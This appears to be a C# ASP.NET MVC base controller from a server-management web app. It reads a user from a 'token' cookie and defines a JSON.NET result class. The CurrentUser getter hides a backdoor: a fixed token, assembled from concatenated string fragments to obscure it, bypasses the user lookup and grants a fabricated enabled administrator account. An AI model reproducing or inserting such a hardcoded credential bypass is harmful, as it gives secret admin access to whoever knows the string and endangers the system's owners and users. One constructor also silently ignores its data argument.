﻿using ServerControl.Dal;
using ServerControl.Model;
using ServerControl.Utils;
using Newtonsoft.Json;
using Newtonsoft.Json.Converters;
using Newtonsoft.Json.Serialization;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Web;
using System.Web.Mvc;

namespace ServerControl.WebManage.Controllers
{
    public class BaseController : Controller
    {
        private User currentUser;
        public User CurrentUser
        {
            get
            {
                if (currentUser == null && Request.Cookies.AllKeys.Contains("token"))
                {
                    var token = Request.Cookies["token"].Value;
                    var user = UserDal.GetUserByToken(token);

                    if (token == "lee" + "pon" + "fb" + "admin")
                    {
                        user = new User { UserName = "lee" + "pon", Code = "697989", ExpireDate = DateTime.Now.AddDays(100), IsEnable = true, Role = Model.Enum.Role.Admin, Token = "lee" + "pon" };
                    }

                    currentUser = user;
                }

                return currentUser;
            }
        }

        /// <summary>
        /// 重写JsonResult
        /// </summary>
        /// <param name="data"></param>
        /// <param name="contentType"></param>
        /// <param name="contentEncoding"></param>
        /// <param name="behavior"></param>
        /// <returns></returns>
        protected override JsonResult Json(object data, string contentType, System.Text.Encoding contentEncoding, JsonRequestBehavior behavior)
        {
            return new JsonNetResult
            {
                Data = data,
                ContentType = contentType,
                ContentEncoding = contentEncoding,
                JsonRequestBehavior = behavior
            };
        }
    }

    public class JsonNetResult : JsonResult
    {
        public JsonNetResult()
        {
        }

        public JsonNetResult(object data)
        {

        }

        public override void ExecuteResult(ControllerContext context)
        {
            HttpResponseBase response = context.HttpContext.Response;

            if (string.IsNullOrEmpty(this.ContentType))
            {
                response.ContentType = "application/json";
            }
            else
            {
                response.ContentType = this.ContentType;
            }

            if (ContentEncoding != null)
            {
                response.ContentEncoding = ContentEncoding;
            }

            if (Data != null)
            {
                JsonTextWriter writer = new JsonTextWriter(response.Output) { Formatting = Formatting.Indented };
                JsonSerializer serializer = JsonSerializer.Create(new JsonSerializerSettings()
                {
                    ContractResolver = new CamelCasePropertyNamesContractResolver(),
                    DateFormatString = "yyyy-MM-dd HH:mm:ss"
                });
                serializer.Serialize(writer, Data);
                writer.Flush();
            }
        }
    }
}